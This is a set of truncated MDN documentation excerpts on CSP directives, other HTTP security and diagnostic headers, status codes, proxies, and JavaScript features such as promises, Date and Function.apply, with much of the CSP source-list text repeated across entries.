finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: frame-ancestors - HTTP
csp version 2 directive type navigation directive default-src fallback no. not setting this allows anything. this directive is not supported in the <meta> element. ...
...finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'none' refers to the empty set; that is, no urls match. the single quotes are required. examples content-security-policy: frame-ancestors 'none'; content-security-policy: frame-ancestors 'self' https://www.example.org; specifications ...
CSP: img-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: manifest-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: media-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: navigate-to - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: object-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: prefetch-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: script-src-attr - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: script-src-elem - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: style-src-attr - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: style-src-elem - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: style-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: worker-src - HTTP
finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
Content-Security-Policy-Report-Only - HTTP
uri /_/csp-reports the html of signup.html looks like this: <!doctype html> <html> <head> <title>sign up</title> <link rel="stylesheet" href="css/style.css"> </head> <body> ... content ... </body> </html> can you spot the violation? stylesheets are only allowed to be loaded from cdn.example.com, yet the website tries to load one from its own origin (http://example.com). ...
..."style-src cdn.example.com", "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports", "disposition": "report" } } as you can see, the report includes the full path to the violating resource in blocked-uri. this is not always the case. for example, when the signup.html would attempt to load css from http://anothercdn.example.com/stylesheet.css, the browser would not include the full path but only the origin (http://anothercdn.example.com). this is done to prevent leaking sensitive information about cross-origin resources. specifications specification status comment content security policy level 3 working draft no changes. content security policy level 2 recommendation initial definition. ...
Feature-Policy: usb - HTTP
the http feature-policy header usb directive controls whether the current document is allowed to use the webusb api. syntax feature-policy: usb <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origi...
...ure is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origins. features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes). 'self': the feature is allowed by default in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. default policy the default value is 'self'. ...
Public-Key-Pins - HTTP
use certificate transparency and expect-ct header instead. ...
...bidden header name no syntax public-key-pins: pin-sha256="<pin-value>"; max-age=<expire-time>; includesubdomains; report-uri="<uri>" directives pin-sha256="<pin-value>" the quoted string is the base64 encoded subject public key information (spki) fingerprint. it is possible to specify multiple pins for different public keys. some browsers might allow other hashing algorithms than sha-256 in the future. max-age=<expire-time> the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" optional if this optional paramet...
Server-Timing - HTTP
the server-timing header communicates one or more metrics and descriptions for a given request-response cycle. it is used to surface any backend server timing metrics (e.g. database read/write, cpu time, file system access, etc.) in the developer tools in the user's browser or in the performanceservertiming interface. header type response header forbidden header name no syntax the syntax of the server-timing header allows you to communicate metrics in different ways: server metric name only, metric with value, metric with value and description, and metric with description. the specification advices that names and descriptions should be kept as short as possible (use abbreviations and omit optional values where possible) to minimize the http overhead. // sing...
...e server-timing header may expose potentially sensitive application and infrastructure information. consider to control which metrics are returned when and to whom on the server side. for example, you could only show metrics to authenticated users and nothing to the public. performanceservertiming interface in addition to having server-timing header metrics appear in the developer tools of the browser, the performanceservertiming interface enables tools to automatically collect and process metrics from javascript. this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics. the interface is only available in secure contexts (https) in some browsers. specifications specification...
HTTP Messages - HTTP
Web › HTTP › Messages
information encoded in ascii, and span over multiple lines. in http/1.1, and earlier versions of the protocol, these messages were openly sent across the connection. in http/2, the once human-readable message is now divided up into http frames, providing optimization and performance improvements. web developers, or webmasters, rarely craft these textual http messages themselves: software, a web browser, proxy, or web server, perform this action. they provide http messages through config files (for proxies or servers), apis (for browsers), or other interfaces. the http/2 binary framing mechanism has been designed to not require any alteration of the apis or config files applied: it is broadly transparent to the user. http requests, and responses, share similar structure and are composed of...
...ression. several streams can be combined together, a process called multiplexing, allowing more efficient underlying tcp connections. http frames are now transparent to web developers. this is an additional step in http/2, between http/1.1 messages and the underlying transport protocol. no changes are needed in the apis used by web developers to utilize http frames; when available in both the browser and the server, http/2 is switched on and used. conclusion http messages are the key in using http; their structure is simple, and they are highly extensible. the http/2 framing mechanism adds a new intermediate layer between the http/1.x syntax and the underlying transport protocol, without fundamentally modifying it: building upon proven mechanisms. ...
Network Error Logging - HTTP
network error logging is a mechanism that can be configured via the nel http response header. this experimental header allows web sites and applications to opt-in to receive reports about failed (and, if desired, successful) network fetches from supporting browsers. reports are sent to a reporting group defined within a report-to header. usage web applications opt in to this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required. the following object keys can be specified in the nel header: report_to the reporting api group to send network error reports to (see below). max_age specifies the lifetime of the policy, in seconds (in a similar way to e.g. hsts p...
... dns.failed request to the dns server failed due to reasons not covered by previous errors (e.g. servfail) dns.address_changed for security reasons, if the server ip address tha...
Proxy servers and tunneling - HTTP
rward proxy, or gateway, or just "proxy" provides proxy services to a client or a group of clients. there are likely hundreds of thousands of open forward proxies on the internet. they store and forward internet services (like the dns, or web pages) to reduce and control the bandwidth used by the group. forward proxies can also be anonymous proxies and allow users to hide their ip address while browsing the web or using other internet services. tor (the onion router), routes internet traffic through multiple proxies for anonymity. reverse proxies as the name implies, a reverse proxy does the opposite of what a forward proxy does: a forward proxy acts in behalf of clients (or requesting hosts), a reverse proxy acts in behalf of servers. forward proxies can hide the identities of clients wher...
...d can be used to open a tunnel. this is how a client behind an http proxy can access websites using ssl (i.e. https, port 443). note, however, that not all proxy servers support the connect method or limit it to port 443 only. see also the http tunnel article on wikipedia. proxy auto-configuration (pac) a proxy auto-configuration (pac) file is a javascript function that determines whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server. the javascript function contained in the pac file defines the function: the auto-config file should be saved to a file with a .pac filename extension: proxy.pac and the mime type set to: application/x-ns-proxy-autoconfig the file consists of a function called findproxyforurl. the example ...
HTTP response status codes - HTTP
Web › HTTP › Status
it for digital payment systems, however this status code is used very rarely and no standard convention exists. 403 forbidden the client does not have access rights to the content; that is, it is unauthorized, so the server is refusing to give the requested resource. unlike 401, the client's identity is known to the server. 404 not found the server can not find the requested resource. in the browser, this means the url is not recognized. in an api, this can also mean that the endpoint is valid but the resource itself does not exist. servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. this response code is probably the most famous one due to its frequent occurrence on the web. 405 method not allowed the request method is know...
...o the criteria given by the user agent. 407 proxy authentication required this is similar to 401 but authentication is needed to be done by a proxy. 408 request timeout this response is sent on an idle connection by some servers, even without any previous request by the client. it means that the server would like to shut down this unused connection. this response is used much more since some browsers, like chrome, firefox 27+, or ie9, use http pre-connection mechanisms to speed up surfing. also note that some servers merely shut down the connection without sending this message. 409 conflict this response is sent when a request conflicts with the current state of the server. 410 gone this response is sent when the requested content has been permanently deleted from server, with no forwa...
Grammar and types - JavaScript
javascript is case-sensitive and uses the unicode character set. for example, the word früh (which means "early" in german) could be used as a variable name. let früh = "foobar" but, the variable früh is not the same as früh because javascript is case sensitive. in javascript, instructions are called statements and are separated by semicolons (;). ...
...ay has two elements with values and one empty element: fish[0] is "lion" fish[1] is undefined fish[2] is "angel" if you include a trailing comma at the end of the list of elements, the comma is ignored. in the following example, the length of the array is three. there is no mylist[3]. all other commas in the list indicate a new element. note : trailing commas can create errors in older browser versions and it is a best practice to remove them. let mylist = ['home', , 'school', ]; in the following example, the length of the array is four, and mylist[0] and mylist[2] are missing. let mylist = [ ,'home', , 'school']; in the following example, the length of the array is four, and mylist[1] and mylist[3] are missing. only the last comma is ignored. let mylist = ['home', , 'school'...
Using Promises - JavaScript
ejection. error propagation you might recall seeing failurecallback three times in the pyramid of doom earlier, compared to only once at the end of the promise chain: dosomething() .then(result => dosomethingelse(result)) .then(newresult => dothirdthing(newresult)) .then(finalresult => console.log(`got the final result: ${finalresult}`)) .catch(failurecallback); if there's an exception, the browser will look down the chain for .catch() handlers or onrejected. this is very much modeled after how synchronous code works: try { const result = syncdosomething(); const newresult = syncdosomethingelse(result); const finalresult = syncdothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } this symmetry with asynchronou...
...mits the scope of inner error handlers, which—if unintended—can lead to uncaught errors. a variant of this is the promise constructor anti-pattern, which combines nesting with redundant use of the promise constructor to wrap code that already uses promises. the third mistake is forgetting to terminate chains with catch. unterminated promise chains lead to uncaught promise rejections in most browsers. a good rule-of-thumb is to always either return or terminate promise chains, and as soon as you get a new promise, return it immediately, to flatten things: dosomething() .then(function(result) { return dosomethingelse(result); }) .then(newresult => dothirdthing(newresult)) .then(() => dofourththing()) .catch(error => console.error(error)); note that () => x is short for () => { return ...
Default parameters - JavaScript
if default parameters are defined for one or more parameter, then a second scope (environment record) is created, specifically for the identifiers within the parameter list. this scope is a parent of the scope created for the function body. this means that functions and variables declared in the function body cannot be referred to from default value parameter initializers; attempting to do so throws a run-time referenceerror. it also means that variables declared inside the function body using var will mask parameters of the same name, instead of the usual behavior of duplicate var declarations having no effect. the following function will throw a referenceerror when invoked, because the default parameter value does not have access to the child scope of the function body: function f(a = g...
...referenceerror. it also means that variables declared inside the function body using var will mask parameters of the same name, instead of the usual behavior of duplicate var declarations having no effect. the following function will throw a referenceerror when invoked, because the default parameter value does not have access to the child scope of the function body: function f(a = go()) { // throws a `referenceerror` when `f` is invoked. function go() { return ':p' } } ...and this function will print undefined because variable var a is hoisted only to the top of the scope created for the function body (and not the parent scope created for the parameter list): function f(a, b = () => console.log(a)) { var a = 1 b() // prints `undefined`, because default parameter values exist in the...
Functions - JavaScript
the function is assigned to. the function name cannot be changed, while the variable the function is assigned to can be reassigned. the function name can be used only within the function's body. attempting to use it outside the function's body results in an error (or undefined if the function name was previously declared via a var statement). for example: var y = function x() {}; alert(x); // throws an error the function name also appears when the function is serialized via function's tostring method. on the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope in which the function is declared. as the 4th example shows, the function name can be different from the variable the function is assigned to. they have no rela...
... function declarations inside blocks behave strangely. for example: if (shoulddefinezero) { function zero() { // danger: compatibility risk console.log("this is zero."); } } es2015 says that if shoulddefinezero is false, then zero should never be defined, since the block never executes. however, it's a new part of the standard. historically, this was left unspecified, and some browsers would define zero whether the block executed or not. in strict mode, all browsers that support es2015 handle this the same way: zero is defined only if shoulddefinezero is true, and only in the scope of the if-block. a safer way to define functions conditionally is to assign a function expression to a variable: var zero; if (shoulddefinezero) { zero = function() { console.log("this...
Array.prototype[@@iterator]() - JavaScript
operty. syntax arr[symbol.iterator]() return value the initial value given by the values() iterator. by default, using arr[symbol.iterator] will return the values() function. ...
...ing to have a [iterable].prototype.values method. this could be a built-in object like string object or a custom object. ...
Date() constructor - JavaScript
e nearest second. timestamp string datestring a string value representing a date, specified in a format recognized by the date.parse() method. (these formats are ietf-compliant rfc 2822 timestamps, and also strings in a version of iso8601.) note: parsing of date strings with the date constructor (and date.parse(), which works the same way) is strongly discouraged due to browser differences and inconsistencies. support for rfc 2822 format strings is by convention only. support for iso 8601 formats differs in that date-only strings (e.g. "1970-01-01") are treated as utc, not local. individual date and time component values given at least a year and month, this form of date() returns a date object whose component values (year, month, ...
...he minute. milliseconds optional integer value representing the millisecond segment of a time. the default is 0 milliseconds past the second. examples several ways to create a date object the following examples show several ways to create javascript dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies. let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) specifications specification ecmascript (ecma-262)the definition of 'date' in that specific...
Date.parse() - JavaScript
e function may fall back to any implementation–specific heuristics or implementation–specific parsing algorithm. unrecognizable strings or dates containing illegal element values in iso formatted strings shall cause date.parse() to return nan. ...
...mat as defined by ecma-262 may or may not result in nan, depending on the browser and values provided, e.g.: // non-iso string with invalid date values new date('23/25/2014'); will be treated as a local date of 25 november, 2015 in firefox 30 and an invalid date in safari 7. however, if the string is recognized as an iso format string and it contains invalid values, it will return nan in all browsers compliant with es5 and later: // iso string with invalid values new date('2014-25-23').toisostring(); // throws "rangeerror: invalid date" in all es5-compliant browsers spidermonkey's implementation-specific heuristic can be found in jsdate.cpp. the string "10 06 2014" is an example of a non-conforming iso format and thus falls back to a custom routine. see also this rough outline on how th...
Date.prototype.toLocaleString() - JavaScript
to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocalestringsupportslocales() { try { new date().tolocalestring('i'); } catch (e) { return e instanceof rangeerror; } return false; } using locales this example shows some of the variations in localized da...
...log(date.tolocalestring('en-us', { hour12: false })); // → "12/19/2012, 19:00:00" avoid comparing formatted date values to static values most of the time, the formatting returned by tolocalestring() is consistent. however, this might change in the future, and isn't guaranteed for all languages; output variations are by design, and allowed by the specification. most notably, the ie and edge browsers insert bidirectional control characters around dates, so the output text will flow properly when concatenated with other text. for this reason, you cannot expect to be able to compare the results of tolocalestring() to a static value: "1/1/2019, 01:00:00" === new date("2019-01-01t01:00:00z").tolocalestring("en-us"); // true in firefox and others // false in ie and edge note: see also this ...
Error.prototype.stack - JavaScript
is being thrown), a colon, and, if there is a file location, the line number. (note that the error object also possesses the filename, linenumber and columnnumber properties for retrieving these from the error thrown (but only the error, and not its trace).) note that this is the format used by firefox. there is no standard formatting. however, safari 6+ and opera 12- use a very similar format. browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs). argument values in the stack: prior to firefox 14, the function name would be followed by the argument values converted to string in parentheses immediately before the at (@) sign. while an object (or array, etc.) would app...
... arguments.callee.caller.arguments, as could the function name be retrieved by arguments.callee.caller.name). "undefined" is listed as "(void 0)". note that if string arguments were passed in with values such as "@", "(", ")" (or if in file names), you could not easily rely on these for breaking the line into its component parts. thus, in firefox 14 and later this is less of an issue. different browsers set this value at different times. for example, firefox sets it when creating an error object, while phantomjs sets it only when throwing the error, and archived msdn docs also seem to match the phantomjs implementation. examples using the stack property the following html markup demonstrates the use of stack property. <!doctype html> <meta charset="utf-8"> <title>stack trace example</titl...
Error - JavaScript
see "what's a good way to extend error in javascript?" on stackoverflow for an in-depth discussion. es6 custom error class versions of babel prior to 7 can handle customerror class methods, but only when they are declared with object.defineproperty(). otherwise, old versions of babel and other transpilers will not correctly handle the following code without additional configuration. some browsers include the customerror constructor in the stack trace when using es2015 classes. class customerror extends error { constructor(foo = 'bar', ...params) { // pass remaining arguments (including vendor specific ones) to parent constructor super(...params) // maintains proper stack trace for where our error was thrown (only available on v8) if (error.capturestacktrace) { ...
... function customerror(foo, message, filename, linenumber) { var instance = new error(message, filename, linenumber); instance.name = 'customerror'; instance.foo = foo; object.setprototypeof(instance, object.getprototypeof(this)); if (error.capturestacktrace) { error.capturestacktrace(inst...
Function.prototype.apply() - JavaScript
will be replaced with the global object, and primitive values will be boxed. this argument is required. argsarray optional an array-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be provided to the function. starting with ecmascript 5 these arguments can be a generic array-like object instead of an array. see below for browser compatibility information. return value the result of calling the function with the specified this value and arguments. description note: while the syntax of this function is almost identical to that of call(), the fundamental difference is that call() accepts an argument list, while apply() accepts a single array of arguments. note: when the first argument is undefined or null a sim...
...led object is then responsible for handling the arguments. since ecmascript 5th edition, you can also use any kind of object which is array-like. in practice, this means it's going to have a length property, and integer ("index") properties in the range (0..length - 1). for example, you could use a nodelist, or a custom object like { 'length': 2, '0': 'eat', '1': 'bananas' }. note: many older browsers—including chrome <17 and internet explorer <9—don't accept array-like objects, and will throw an exception. examples using apply to append an array to another you can use push to append an element to an array. and, because push accepts a variable number of arguments, you can also push multiple elements at once. but, if you pass an array to push, it will actually add that array as a si...
Function.prototype.bind() - JavaScript
